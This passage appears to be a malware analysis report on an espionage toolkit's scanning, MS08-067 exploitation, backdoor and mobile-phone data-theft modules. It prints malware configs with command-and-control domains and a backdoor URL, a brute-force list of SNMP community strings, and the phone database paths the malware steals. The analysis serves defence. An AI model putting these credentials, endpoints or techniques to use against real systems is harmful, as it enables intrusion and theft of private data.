The "file_rem" value can specify a location at another computer's network share. In this case the module tries to log onto that
share using credentials specified in an encrypted configuration file that may be located at:
%ALLUSERSPROFILE%\adt.dat %LOCALAPPDATA%\adt.dat
Known variants of the module were used to write another module called "scheduler" and additional files for this module.
After processing all "file_rem" and "file_loc" options, the module iterates through all values of the "file_exec_rem" option.
Each value is expected to be an applications path, and each application is executed using the CreateProcess API function.
After processing all the configuration options, the module sends its log file to the C&C server. The connection options are
retrieved from the configuration (resource):
The data sent to the C&C server is compressed with Zlib and encrypted with a modified PKZIP stream cipher, and then it is
Base64-encoded.
Netscan module
Known variants:
06ebdde6a600a65e9e65ba7c63f139fa 2012.09.05 07:02:28 (GMT)
b49232652748ab677a944bd4d4650603 2012.09.05 07:02:28 (GMT)
Summary
Once it is loaded it was designed to start scanning other hosts in the network and record responses. It would do several
probes for remote vulnerabilities, such as MS08-067. It is capable of dumping current configuration of Cisco routers if they
are available via SNMP and the scanner successfully guessed the SNMP community name.
This module loads a config from local resource AAA and executes a network scanning task.
Loading procedure
Due a design made by the developer usage of this module is limited. It seems that it was developed and tested as an EXE
file, however in the release version it was compiled as a DLL. This change was extremely significant for the whole
functionality which creates a number of worker threads right in the main function, which is would be fine for EXE module
WinMain function, but is restrcited for library DllMain function. This broke down the module as it created threads which
couldn't run when DLL is loaded via LoadLibrary API. However, it's important to note that the developers implemented own
PE loader, which doesn't have such limitation as Window native PE loader, and which is why it can still be used as a
component of malicious kit.
DllMain function
Current sample has the following embedded config:
SetOption(NET, [26] "127.0.0.1 255.255.255.255")
SetOption(netscan_get_NET, "1")
SetOption(netscan_get_net_ad, "1")
SetOption(netscan_get_net_msnet, "1")
SetOption(netscan_get_net_msdom, "1")
SetOption(netscan_threads_num, [3] "64")
SetOption(netscan_tcpscanwinsrv, "1")
SetOption(netscan_tcpscanwin, "0")
SetOption(netscan_tcpscannotwin, "0")
Call(task_netscan)
The target networks to scan are selected automatically and include the following lists:
1. specified in the config NET variable if netscan_get_NET is set to 1
2. subnets of IPs which are visible from adapters config via GetAdaptersInfo API (current IP, gateway, DHCP, WINS
servers)
3. subnets of IPs which are visible in the list of currently mapped shared folders
4. subnets of IPs which are part of current Microsoft Windows domain as reported by the Domain Controller
Scanning procedure
The scan begins with pinging the target with 2 seconds timeout. Then the scanner gets target hostname and MAC address.
After that it tries to send an SNMPv3 request. Unlike SNMPv2, SNMPv3 responds even if the username is wrong allowing
you to identify if the port is open or not. If the remote SNMP agent responds, then the scanner will try to talk further.
SNMP packet from malware in Wireshark
It tries to guess the SNMP agent community name from a list of 600 hardcoded variants. The list itself interesting enough as
it seems to be made of previously discovered SNMP agent community names from various locations where the attackers
managed to penetrate networks.
We are sharing the list, maybe it will help someone identify his SNMP community name and will cause further network
checks:
public Petrofac henrygiz publio
private Private hp_admin publis
1q2w3e Ptbnic i6666 publiw
1q2w3e4r Ptcmic icces publkB
1q2w3e4r5t PuBMic ilmi publkc
1q2w3e4r5t6y Public intelligence publmc
cscAstral RM24655521 intermec publoc
@5tr0Mon1 RcFnsSnCo20m08R internal publxc
1qazxsw23edc RnfE36mM ipko publyc
3edcxzaq12 RoaringKat ipxint publ{C
123ewqasdcxz SECRET itorocmn publ{c
!@#ewqASDcxz SECURITY jessica pubmi?
!QAZxcde32 SINetMGT jg214327 pubmia
qsczse SNMP jimaguas pubmic
234rfvcxsw SNMP_trap jozefina pubn
$3eTn27W#7 SPBranc1d-Rw jpiworldwide pubn)c
10101 SWITCH karZer pubni?
3101974 SYSTEM kazeem pubni?"
0392a0 SbcihAiryq52 kbiway2007 pubnib
41309 Secret kbiway2008 pubnic
6051983 Security kerrek pubpc1
80808 Si4m2010AyZnFkDe45L kittec pucliC
0ublic Slay1987 kokale puclic
1021947 Soco kokale1980 puclic?
1100293 Sr.h3Q6i koko puclik
112511polo Switch konsulro pucmic
1212x System korablik pufl
123123321 TENmanUFactOryPOWER korona puflic
1234 TEST krakoziabra pufli{
123456 TRD_VSAT kuwait pufmyc
12345678 W1ld#Parr0ts kyw.u61 puglic
1,23457E+17 YDFWgSKh lapublic pujlic
1,23457E+17 YXaLmb1t5Ras laura pur-i?
123o321 YsZpL5RqMa76 lebanon pur??1
126ajm19kal51ma Z123456z lfcadoot purlic
130601 Zxcvbnm123 lhlyy0320 purlig
1,32413E+15 `ublic linda pusac
13244231 a1b2c3d4 louvain pwbli#
13971852654 absurdistan_81 loveme pwblic
162534 access macedonia pwjlic
17081- adimn makbank23 p}1??1
170810 admin manager qazwsx
1809BGD11 admin1 manuel qazxcdew
1940117 adonis mariam qubl?3
1947102 agent marius qwedcxza
19841990 agent_steal martin qwer1234
199397 ajutorsoci mary1964 qwerty
19M1R20S akjol1230 meerim0909 qwerty123456
1Q5IRJmg9Q alfa239 merlin62 qwertyu
1q2w3e alfa2390 mesurucu qwertyui
1q2w3e4r alfred metiha r0snmp$tr1ng
1q2w3e4r5t all private mfa123MFA r23771
1q2w3e4r5t6y all public mfa6789 rainbow
1qazxsw23edc alpha mfalOVAL rbnpublic
2005 amBa3#wsx mimoza rccm-map
21012008a amsterdam2003 mirella read
212321a andrey240787 mirella26091978 read-only
24021985 antoniu mitrkq1w2e3 read-write
240787 arbor mmat1230 readonly
2531821 assistant2007 mmat1987 readwrite
280d1a03 astalavista mngt regional
285468339 at.prague mofa rekzi
29091972 at@szat mohammed richka
2read aublic moni4man rm5tbd23
31sal999 auok12 monitor rmon
378dd6 avsvMda monitoring rmon_admin
3DB5ZG baborasa1234 mq5Kg9iG ro4orion
3MC-Zuku-Rw backb00r mrtg ro81qnp4
43827207V backupauto ms03101974 roembil
4changes badarsul msnadm romania2
4udoju badarsul86 mudrost999 root
549yotok bandwidth nasasiet router
553322 bar789 nasawr1 rusinfonet
5bpbpyHeLu0a9Ab bathclnet nature rw4orion
5zzkzp batru_ro netman rwcfcmp1s
626fqs benj2023 netman2002 s3cr3t
63Fd6dYhMnsjMNPk benjaminfranklin network sabonis
654321 bintec nina180754 safara
6551318 blue none salvaje07
693ygUgv boksha noppes san-fran
722690 br0adwhy norformin sanfran
7777777inchinas bratan notprivate sayyara
789456 breakpoint notpublic scotty
7917407 bumblebee notpulic seCtion%
794613 bunnia2010 nr.490315 seait
7nsi20 c20176 ntnhflm secret
7p1cCcZvqY6T cable-d nurtenbay security
80244 cable-docsis nvaiaJC4 sel1
816836 canon_admin okoloamaraa seri
83L80N3 ccrthwtd openview sirti
8491 cde32wsxzaq1 oyeneye sitalan
8591 chelyabinsk p0l!@#nms skl1971
8888888 chera98888 p3j4nt4n slamat
8ublic chiaro p5blic snmc-read
8urlib chumburidze p9EGn25D snmp
<removed> cisco pUbhic snmpd
AKdGmjQO cisco-adsl parrral snmptrap
ANYCOM clingendael pass solaris
Admin cme_1823 password sonjaGRIESEL7475@31
Afoltz-PB commread pgnred sovam
Allahu community picpu sp3ctr0
Andrey131201 commwrite polaris stanislavl
Bl234353 control polmrtg stopsign
C0de corba polsnmp superuser
C0mmunity[hezt00a1 core porneste switch
C0mmunity[hezt00a2 correyvba post system
C0mmunity[hezt00aa3 cp8S52aA pounette t1HAI2nai
C0mmunity[hezt00b1 cpecwr99 power222 talgat
C495y5m6T1 cpecww99 ppb(260685) tasevski1980
CISCO cs1bhS8W pqblic tech
CONSIP_MIB csi-rain pqpq-1957 telecom
CR52401 cucurigu pr1ap1014 temp
D1g!T da123456 pr1v4t3 test
DNOT?ISTLE dasakirov priemnaja test123
DNOTHISTLE debug privat test2
E142BERLINO deeplomat provision tiv0li
EC_IMCO default proxy tivoli
ET0021B7E49CC9 dilbert prtgmail topnet
G1Mme1nf0 diver pu6lik toto29+
GINL-!M3npEFF dk0208 pu?hi? trap
GN0CR3AD dollys pu?l trappss
GSBTBMPLS! drazen024 pu?l)c traps
GWAN_g,2b?l?m0nit0r efimerida pu?l`b udelcakil
GWAN_gl0baL??k?? elchin2491 pu?lib undefined
GWAN_gl0bal_m0gid0r elen24 pu?lic uragan
GWAN_gl0bal_m0nit0? eman72 pu?lik user
GWAN_gl0bal_m0nit0r embassy pu?lyc vakvouk2008
GWAN_gl0bal_mxJ?6?v enable puBlic vanoord-ro
GulNozMeh f6PF3T9T pu`lic vfczyz
HDDBELBXL fabian pub?ic victor
HITMAN fake2011 pubdic vizirenok
ILMI fastanefnd1 pubhic vkananovich
Intermec field publ vpnaccount
Jedeee71 field-service publ)c vt100num
JoJo finance publ1c w03kdpopmail
KBRlog3CPRK forescout publ?3 wallace
L#39YWh7N16w fourthmile publac world
Lcxuidtg freekevin publhc write
Mailbox fubar publi# writeletters
Manyasha fwrocmn publi+ xs159109
Mihnea@109 fwwrcmn publi? xyzzy
NURTENEKREM g0v53vM3 publia yOpZpXjI
NoGaH$@! germanos publib yellow
OrigEquipMfr gestione public!!! z4885645
P@SSW0RD gsoficom14 public1 zafar
PRIVATE gu#3Gst. public2 zskmail
PUBLIC guest public3 zxcvbn
Petr0f`c gulbalam public? zzzzz
Petr0fac gwendal publig
Petr0fac? hello publik
The scanner fetches SNMP agent SysName property and checks if the property is readonly or write-access is available.
Then it fetches SNMP SysDescription property.
Interestingly, when the module finds a Cisco snmp agent, it starts own TFTP server and transfers Cisco device configuration
via TFTP.
CISCO configuration dumper function call graph
Next it checks host for SIP service. That is accomplished by sending OPTIONS request to the remote host on port 5060
from hardcoded source port 11122:
OPTIONS sip:smap@localhost SIP/2.0
Via: SIP/2.0/UDP %Local IP%:11122;branch=z9hG4bK.51125;rport;alias
From: ;tag=3a539be23b6269ec
To: sip:IPPhone@localhost
Call-ID: 1638708638@%Local IP%
CSeq: 3471 OPTIONS
Contact: <sip:IPPhone@%Local IP%:11122>
Content-Length: 0
Max-Forwards: 70
User-Agent: IPPhone 0.67
Accept: text/plain
The module simply saves SIP server response to a log file and goes to the next stage.
Next it tries to work with NetBIOS (SMB) protocol of the remote target, the code includes full own implementation of the
protocol negotiatiation and communication with the remote host. The module establishes SMB NULL session, which doesn't
require authentication and sends further queries.
The scanning module connects to \\LLSRPC pipe, which is used to be available via SMB NULL session on Windows 2000
before SP4. If the attacker connects to Microsoft Windows 2000 Server-based system through a null session, it is possible to
use the Llsrpc named pipe to add or to delete licenses, and to create new license groups. However, availability of LLSRPC
pipe is checked only to detect the remote OS Service Pack version. There are few other methods in the code that provide
reliable detection of Service Pack 1,2,3 of Windows 2000.
Next step is to detect remote OS default language. That is accomplished by connecting to Spoolss pipe and querying the
name of the service. The response is normally sent in system default language, which is detected by the module. Here is a
list of languages, which might indicate which systems attackers are interested in (hardcoded in the malware):
UNKNOWN English Spanish Italian
French German Portuguese - Brazilian Portuguese
Hungarian Finnish Dutch Danish
Swedish Polish Czech Turkish
Japanese Chinese Traditional Chinese Traditional - Taiwan Korean
Russian
So far, the module collects the following information over SMB:
Target Name
NetBIOS Domain Name
NetBIOS Computer Name
DNS Domain Name
DNS Computer Name
Language
Service Pack
OS Version
OS Major Version Number
OS Minor Version Number
OS Build
OS Language ID
OS Version (alternative detection method)
OS Language (alternative detection method)
The module has another unique feature, it checks if the system is vulnerable for MS08-067 vulnerability. It creates a path,
part of which includes a unique string "\..\spider3" which we haven't seen previously. The module is capable of constructing
tcpbind shellcode for different versions of remote OS to check if the exploit works.
There is a portscanner in the module, and it checks ports from the embedded list:
22, 23, 53, 80, 110, 143, 156, 456, 912, 990, 993, 995, 1043, 1194, 1352, 1433, 2481, 3306, 5432, 8080, 8800
While most of the ports look standard, some of them are not very common. We decided to investigate which services are
running on those ports.
156 is some SQL Server port, however we don't know any software running on port 156
456 is probably a typo of 465 - SMTP over SSL
912 is for VMWare Authorization Service
990 is used by FTPS
995 is for POP3S
1043 can be used by BOINC software or Microsoft IIS
1194 is a standard port for OpenVPN
1352 Lotus Notes/Domino RPC
1433 MS SQL Server
2481 Oracle Server
3306 MySQL Server
5432 PostgreSQL
8080 HTTP (alternate)
8800 HTTP (SunWebAdmin)
If ports 80 or 8080 are open, then the module sends simple HTTP request to test if the remote webserver is available and if
it is running MS Excahnge server. MS Exchange is probed with the following HTTP request:
GET /ews/exchange.asmx HTTP/1.0
Collected information and logs are never saved to a file on disk, instead it is compressed using Zlib compress2 method and
uploaded to the server.
MSExploit module
Known variants:
51900a2bb1202225aabc2ee5a64dbe42 2012.06.26 15:11:48 (GMT)
Summary
The file is a PE DLL file without exported functions, compiled with Microsoft Visual Studio 2010.
This module is used to infect other computers in local area network by using old exploit for vulnerability referred as MS08-
067. It checks remote OS version, locale, SP version, crafts a packet with exploit code and pushes to the target. It injects an
executable payload, which drops another module known as "Frog" (full description of Frog is available in a separate chapter).
The later is a backdoor component which provides capability to run arbitrary executable on the remote target.
DllMain function
main function of the module is named "task_msexploit" and is registered in the framework. Then, it starts the framework
SetOption(conn_a.D_CONN, [60] "microsoftosupdate.com;microsoft-msdn.com;microsoftcheck.com")
SetOption(conn_a.D_NAME, [18] "/cgi-bin/ms/flush")
SetOption(conn_a.J_CONN, [60] "microsoftosupdate.com;microsoft-msdn.com;microsoftcheck.com")
SetOption(conn_a.J_NAME, [18] "/cgi-bin/ms/check")
SetOption(msexploit_loc, 147456 bytes PE file )
SetOption(msexploit_ip)
SetOption(msexploit_ip, [16] %Target IP%")
Call(task_msexploit)
Main function (task_msexploit)
The config defines parameters for the method task_msexploit, which includes the following:
msexploit_loc a payload to be pushed if exploit worked successfully;
msexploit_ip an array of IPs to attack.
Then the module gets local proxy settings, starting from MS Internet Explorer settings, then parsing Opera profile files (if
exist) and finally getting proxy settings from quite suspicious registry keys:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\MapMenuConfigGrps
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\MapMenuConfigGrps
HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Advanced\MapMenuConfigGrps
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Advanced\MapMenuConfigGrps
It seems that MapMenuConfigGrps registry value doesn't exist on standard Windows system. We suspect that this registry
key is set by a malicious module during operation and is used to store proxy server parameters.
After that, the module attempts to find %AppData%\adt.dat. Two variants are checked - common and user-specific, i.e.:
C:\Documents and Settings\All Users\Application Data C:\Documents and Settings\username\Application Data
The "adt.dat" file is an encrypted INI-file of known credentials of users in current domain and attacked organization. When
decrypted this file looks like this:
[user] login = "%User1%"
domain = "%Domain%"
password = "%Password2%"
admin = "1"
[user]
login = "%User2%"
domain = "%Domain%"
admin = "1"
This information is checked against local domain controller to find active users with Admin privileges. Verified account is
used for optional functionality to establish a NetBIOS connection with remote host to change remote registry. However, the
only setting that is changed is MapMenuConfigGrps value mentioned above. It is set to local parameters of system proxy
server which were acquired before. This is done right after the main attack procedure which uses vulnerability from MS08-
067 Security Bulletin.
The MS08-067 attack procedure uses code identical to the code of scanning for vulnerable hosts in Netscan module. It
starts with pinging the host with ICMP Echo requests and checking host availability. Then it does complex OS fingerprinting
using several different approaches to guess OS version, OS language and Service Pack version. After that it crafts special
packet and embeds a payload from AAA config (binary parameter named msexploit_loc, see above).
In the end of exploitation process, the module checks availability of the remote host by sending ICMP Echo requests again.
This module doesn't change local registry, nor does it created any local files.
After completing remote attack, the module sends logs to the C&C server. The connection options are retrieved from the
configuration (resource):
Base64-encoded.
DASvcInstall module
Known variants:
7ade5d2a88c1eeefe47b501b19c383ef 2012.06.26 15:11:34 (GMT)
Summary
The file is a PE DLL file without exported functions, compiled with Microsoft Visual Studio 2010.
All the functionality is implemented in the DllMain function. This module is used to infect other computers in local area
network by another module known as "Frog" (full description of Frog is available in a separate chapter), which is embedded
in current executable.
The later is a backdoor component which provides capability to run arbitrary executable on the remote target. To infect other
computers current module uses adt.dat password database file. This contains credentials of administrator accounts. The
credentials are used to access system administrative share and remotely install the backdoor as a service.
DllMain function
main function of the module is named "task_da_svcinstall" and is registered in the framework. Then, it starts the framework
SetOption(conn_a.D_CONN, [60] "microsoftosupdate.com;microsoft-msdn.com;microsoftcheck.com")
SetOption(conn_a.D_NAME, [18] "/cgi-bin/ms/flush")
SetOption(conn_a.J_CONN, [60] "microsoftosupdate.com;microsoft-msdn.com;microsoftcheck.com")
SetOption(conn_a.J_NAME, [18] "/cgi-bin/ms/check")
SetOption(da_svc_exe_loc, 103424 bytes of Frog backdoor)
SetOption(da_svc_exe_name, "testsvc_00.exe")
SetOption(da_svc_name, "testsvc_00_name")
SetOption(da_svc_send_proxy, 0x0079)
SetOption(da_svc_host)
SetOption(da_svc_host, [15] "%Target1_IP%")
SetOption(da_svc_host, [14] "%Target2_Hostname%")
SetOption(da_svc_host, [16] "%Target3_IP%")
Call(task_da_svcinstall)
Main function (task_da_svcinstall)
The config defines parameters for the method task_da_svcinstall, which includes the following:
da_svc_exe_loc a payload with "Frog" backdoor to be pushed to the remote host;
da_svc_exe_name defines filename that will be used to store the backdoor;
da_svc_name defines service name that will be used to setup the backdoor service;
da_svc_send_proxy if this value is set to 0x79, remote host proxy preferences will be copied from current host to the
remote registry;
da_svc_host is a list of target hosts to attack.
Then the module gets local proxy settings, starting from MS Internet Explorer settings, then parsing Opera profile files (if
exist) and finally getting proxy settings from quite suspicious registry keys:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\MapMenuConfigGrps
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\MapMenuConfigGrps
HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Advanced\MapMenuConfigGrps
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Advanced\MapMenuConfigGrps
It seems that MapMenuConfigGrps registry value doesn't exist on standard Windows system. We believe that this registry
key is set by a malicious module during operation and is used to store proxy server parameters.
After that, the module attempts to find %AppData%\adt.dat. Two variants are checked - common and user-specific, i.e.:
C:\Documents and Settings\All Users\Application Data C:\Documents and Settings\username\Application Data
The "adt.dat" file is an encrypted INI-file of known credentials of users in current domain and attacked organization. When
decrypted this file looks like this:
[user] login = "%User1%"
domain = "%Domain%"
admin = "1"
[user]
login = "%User2%"
domain = "%Domain%"
admin = "1"
This information is checked against local domain controller to find active users with Admin privileges. Verified account is
used for optional functionality to establish a NetBIOS connection with remote host to change remote registry. However, the
only setting that are changed is MapMenuConfigGrps value mentioned above. It is set to local parameters of system proxy
server which were acquired before.
Next procedure is to establish a SMB connection with %Target% and check if testsvc_00_name service is running. If it does
the module uses Service Control Manager to stop the remote service. Then it copies Frog backdoor file embedded in AAA
config/script to the remote path \\%Target%\ADMIN$\%SYSTEM%\testsvc_00.exe.
After that it starts the service using Service Control Manager and checks if the Frog backdoor successfully started by
querying its status over named pipe \\%Target%\pipe\net\NtControlListener or via direct TCP connection on port 4444.
Current module has some extra features that are not being used according to embedded config. In addition to function called
task_da_svcinstall it has 3 others:
task_da_svcuninstall to remove the installed Frog service and its file;
task_da_svcstatus to check the remote Frog service status via Service Control Manager;
task_da_rem_proxy transfer current proxy preferences to the remote host.
This module doesn't change local registry, nor does it created any local files.
After completing remote attack, the module sends logs to the C&C server. The connection options are retrieved from the
configuration (resource):
Base64-encoded.
Frog module
Known variants:
595e29a21ecaa4dfcb3a5db18401a9a8 2012.05.28 08:56:10 (GMT)
Summary
The file is a PE DLL file without two exported functions (ServiceMainand WinMessage), compiled with Microsoft Visual
Studio 2010.
This module is used to backdoor current computer and is used in pair with remote exploit modules (i.e. ms_exploit). It is
capable of running arbitrary executable code by saving a file coming from another local machine or a C&C and starting it as a
new process (EXE), loading it from disk to memory as a DLL or mapping it directly from memory and running in a "diskless"
mode. It is designed to be lightweight module, which fits in 100Kb of data, doesn't create any logs and isn't linked with any
external libraries.
DllMain
When loaded, the module retrieves its resource of type "BBB" and name "AAA". It decrypts the resource and parses config
parameters. Unlike most of other modules, config parameters for this module has different format, it is not a script-like config,
but plain binary structure with integer and string values.
ServiceMain
If current module is started by the system during Windows boot as a service, then ServiceMain function will be called by the
system. The code in the function fetches Registry value from HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SvcHost\epvsvcs\AuthCapabilitis, if this value is not set it will be set right away. The value is 20 bytes
binary hash value of system dependent information (i.e. username, hostname). It is used as system ID.
After that the module creates three independent threads:
NamedPipeThread (server mode)
This thread creates a named pipe \\.\pipe\net\NtControlListener (pipe name defined in the "AAA" config) and waits for
incoming connections.
TCPThread (server mode)
This thread opens a listening TCP port 4444 (port number defined in the "AAA" config) and waits for incoming
connections.
CnCThread (client mode)
This thread sends a port requests to C&C server URL http://www.new-driver-upgrade.com/cgi-bin/frog (defined in "AAA"
config), containing current system information, including current user name, computer name, local ip address, domain
name, system ID and more, gets and interprets a response.
While NamedPipeThread and TCPThread work in server mode, which means that they are waiting for incoming client
connections and requests, the last thread CnCThread actively connects to the C&C, uploads current system information and
expects a response. The logics of processing transmitted data for all threads are similar. They can either send out data
about current system or receive and run an executable module. There are three variants of executables that these modules
can handle:
EXE
The received module is stored on disk in %TEMP%\system32uid.%Current Date and Time XORed with 0xA4F2%.tmp
and started in a separate process with CreateProcess API.
DLL
The received module is stored on disk in %TEMP%\system32uid.%Current Date and Time XORed with 0xA4F2%.tmp
and loaded in current process with LoadLibrary API.
PE-IN-MEMORY
The received module is kept in memory of current process using own PE file loader.
WinMessage function
This function combines DllMain and ServiceMain functions excluding system service manager routines.
This module changes local registry and sets current system ID, as described above, it is also capable of creating local files. It
doesn't make any local reports nor does it send execution logs to the C&C server. The only information sent to the C&C
server is general system info during first stage of receiving and executing additional payload.
1. Exploits
2. Dropper
3. Loader Module
4. Main component
2. Recon group
3. Password group
4. Email group
5. USB drive group
6. Keyboard group
8. Spreading group
9. Mobile group
9. Mobile group
iPhone module
Known file location: %PROGRAMFILES%\Windows NT\iTunesNotifSrv.exe
Known variants:
ee2e21a45a018c6faa68332a32c65ddd 2011.11.04 12:30:41 (GMT) 2011.11.04 10:19:11 (GMT)
339b8bc0f6e5ee4ca2bc2109f5de0b38 2011.11.21 12:07:46 (GMT) 2011.11.21 08:20:01 (GMT)
76e1d54a890befed31a369ce40b44ee6 2011.11.21 12:06:49 (GMT) 2011.11.21 08:20:01 (GMT)
Creates event named "sdjvkbasyfvbalvjklas".
Summary
Writes encrypted log files:
%TMP%\iTunes_notification_%p.dat
%TMP%\iTunes_ddsa_%p.tmp
where %p is derives from the result of GetTickCount() API function.
Log files are encrypted with a custom encryption algorithm based on AMPRNG.
When started, the module writes the following registry value to be executed each time Windows starts:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iTunes Notification Service=%path to self%
Then, it locates the ITunes mobile device DLL and "CoreFoundation.dll" and resolves the following API functions:
AMDeviceNotificationSubscribe
AMRestoreRegisterForDeviceNotifications
AMDeviceConnect
AMDeviceIsPaired
AMDeviceValidatePairing
AMDeviceStartSession
AMDeviceStartService
AFCConnectionOpen
AFCConnectionClose
AMDeviceCopyValue
AFCDirectoryOpen
AFCDirectoryRead
AFCDirectoryClose
AFCFileInfoOpen
AFCKeyValueRead
AFCKeyValueClose
AFCFileRefOpen
AFCFileRefRead
AFCFileRefWrite
AFCFileRefClose
AMDeviceDisconnect
__CFStringMakeConstantString
If succeeded, the module calls AMDeviceNotificationSubscribe to set up own callback for the iOS device
connection/disconnection events.
In the Device notification callback function, the module logs each connection and disconnection event. When a device is
connected, it starts a new thread that manipulates this device.
Device connection thread
The module establishes a connection to the device using AMDeviceConnect, AMDeviceIsPaired, AMDeviceValidatePairing
and finally, AMDeviceStartSession.
Then, it starts the following services on the device: "com.apple.afc2", "com.apple.afc".
The service "com.apple.afc2" is usually created when the device was jailbroken, so the module sets up a special flag if the
service was started successfully.
Then, it opens an Apple File Connection via the started service using AFCConnectionOpen.
The module reads device settings using AMDeviceCopyValue. The following settings are referenced by name:
UniqueDeviceID
DeviceClass
DeviceName
ModelNumber
ProductType
ProductVersion
BuildVersion
SerialNumber
ActivationState
SIMStatus
InternationalMobileEquipmentIdentity
InternationalMobileSubscriberIdentity
IntegratedCircuitCardIdentity
PhoneNumber
WiFiAddress
BluetoothAddress
TimeZone
FirmwareVersion
BasebandVersion
BasebandBootloaderVersion
Also, it traverses the whole directory tree and stores the complete file listing in the log.
Then, it checks if device is jailbroken by
accessing the directory "/Applications" using AFCFileInfoOpen
checking if the service "com.apple.afc2" was started
The results are written in the log file.
Then, it builds a complete directory listing, starting from the root directory or /private/var (sample
ee2e21a45a018c6faa68332a32c65ddd only). It also searches and retrieves all files with following extensions:
.jpg .jpeg.txt .doc .docx .xls .xlsx .ppt .pptx .dot .dotx .odt .djvu .odts .reg .rtf .zip .rar .pdf .7z .wab .pab .vcf .ost .wav .mp4
.m4a .amr .log .cer .em .msg .arc .key .pgp .gpg
Also, it tries to retrieve the contents of the following files:
/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb
/private/var/mobile/Library/SMS/sms.db
/private/var/mobile/Library/CallHistory/call_history.db
/private/var/mobile/Library/Notes/notes.db
/private/var/mobile/Library/Caches/locationd/consolidated.db
/private/var/mobile/Library/Calendar/Calendar.sqlitedb
/private/var/mobile/Library/Voicemail/voicemail.db
/private/var/mobile/Library/Safari/History.plist
/private/var/mobile/Library/WebKit/Databases/https_m.mg.mail.yahoo.com_0/0000000000000001.db
/private/var/mobile/Library/WebKit/Databases/https_mail.google.com_0/0000000000000001.db
Collected information including iOS device configuration variables, file listings and file contents is written to the file
"%TMP%\iTunes_ddsa_%p.tmp". This file is encrypted and compressed with Zlib.
Log file format
The log starts with a MAGIC number 0x5C63F935, then 0x14 bytes of 0xFF, DWORD length of header, header data, then
log data.
The data consists of tagged records. The following tag values are known to us:
0x8002 Time/date
0x8004 SHA1 of MAC address, System Volume Serial Number, IE Product ID, the same is written in
HKCU,HKLM\SOFTWARE\Microsoft\ADOSoftware32, "ProductID"
0x8005 Log ID / header
0x8006 Log data
Compressed directory log starts with magic 0x5C63F934.
Nokia module
Known variants
6ebcb0b7f9cca7cecebbd683685cb705 2011.11.0211:42:09 (GMT)
Summary
PE Exe file compiled with Microsoft Visual C++ 2008.
Creates log file with "%TMP%\adobe_upd_imhbfex_%p_%p.dat" file name where %p depends on a result of GetTickCount()
function.
It locates (SOFTWARE\PC Connectivity Solution\API\) and loads 'ConnAPI.dll' and 'DAAPI.dll' libraries (exits if unsuccessful
and writes to log "ERROR LOADING ConnAPI.dll: '%d'" and "EXITING") followed by "SUCCESS LOADING ConnAPI.dll:
'%d'\n'" string written to log file and time stamp.
Note: Each event which is written to a log file is followed up with time stamp which is written in a log file prepended by a
string in the following format: [%04d-%02d-%02d %02d:%02d:%02d] (year-month-day hour-minute-second).
Writes to log "===========PROGRAM_STARTED_V_0.1=======" followed by time stamp.
Creates mutex with "sysvolumecheckasdfg" name and checks if program is already running. If yes, then it writes to log
"PROGRAM IS ALREADY RUNNING - EXITING &" and exits.
Creates registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup\%path_to_file%
It resolves the following API functions from ConnAPI.dll:
CONAAllocString
CONAAllocStringMB
CONAFreeString
CONAAllocMemory
CONAFreeMemory
CONAOpenDM
CONACloseDM
CONASetDeviceListOption
CONAGetDeviceCount
CONAGetDevices
CONAGetDevice
CONAFreeDeviceStructure
CONARefreshDeviceList
CONARenameFriendlyName
CONARegisterNotifyCallback
CONARegisterDMNotifyIF
CONASearchDevices
CONAFreeConnectionInfoStructures
CONAChangeDeviceTrustedState
CONAGetDeviceInfo
CONAFreeDeviceInfoStructure
CONAModemConfig
CONAFreeModemConfigData
CONAOpenFS
CONACloseFS
CONARegisterFSNotifyCallback
CONARegisterFSNotifyIF
CONARefreshDeviceMemoryValues
CONAGetMemoryTypes
CONAGetMemoryValues
CONASetCurrentFolder
CONAGetCurrentFolder
CONAFindBegin
CONAFindNextFolder
CONAFindNextFile
CONAFindEnd
CONACreateFolder
CONADeleteFolder
CONARenameFolder
CONAGetFolderInfo
CONAMoveFolder
CONACopyFolder
CONAGetFileInfo
CONADeleteFile
CONAMoveFile
CONACopyFile
CONARenameFile
CONAReadFile
CONAWriteFile
CONAReadFileInBlocks
CONAWriteFileInBlocks
CONACancel
CONAFreeFileInfoStructure
CONAFreeFolderInfoStructure
CONAFreeFolderContentStructure
CONAAllocFileDataMemory
CONAFreeFileDataMemory
CONAInstallApplication
CONAListApplications
CONAUninstallApplication
CONAFreeApplicationInfoStructures
CONAConvertFile
CONAGetConvertFileTypes
CONAFreeConvertFileTypes
It resolves the following API functions from DAAPI.dll:
CAGetAPIVersion
DAOpenCA
DACloseCA
CAGetFolderInfo
CAFreeFolderInfoStructure
CAGetIDList
CAFreeIdListStructure
CABeginOperation
CAReadItem
CAWriteItem
CADeleteItem
CAWriteField
CADeleteField
CACommitOperations
CAEndOperation
CAFreeItemData
CARegisterNotifyCallback
CARegisterOperationCallback
If succeeded the module calls CONAOpenDM function which opens the device management connection and returns a
handle to the device management context. If succeeded a module calls CONARegisterNotifyCallback and to register a
callback function for the device list notifications and writes to log "I AM WORKING...". If device was connected it starts a new
thread to get information from the device.
The module uses CONARefreshDeviceList, CONASetDeviceListOption, CONAGetDeviceCount, CONAGetDevices and
CONAGetDevice API functions to obtain a device which will be manipulated.
If a device was connected the module writes to log "!!!-------------- DEVICE ATTACHED: '%s'--------------- !!!".
It calls GetDeviceInfo function to get the following information about the connected device: type, name, software version,
used language, synchronization support. A module also gets information about device memory, device model, IMEI number,
device file system. Obtained information is written to the log file.
Messages:
Extracts inbox, outbox, sent, archive messages, drafts, templates, SMS/MMS messages from users folders with statuses
'SENT', 'UNREAD', 'READ', 'DRAFT', 'PENDING', 'DELIVERED', 'SENDING', or with undefined status 'UNDEFINED
MESSAGE_STATUS' or 'UNDEFINED FOLDER ID'. SMS and MMS messages are written separately to a log file.
Calendar:
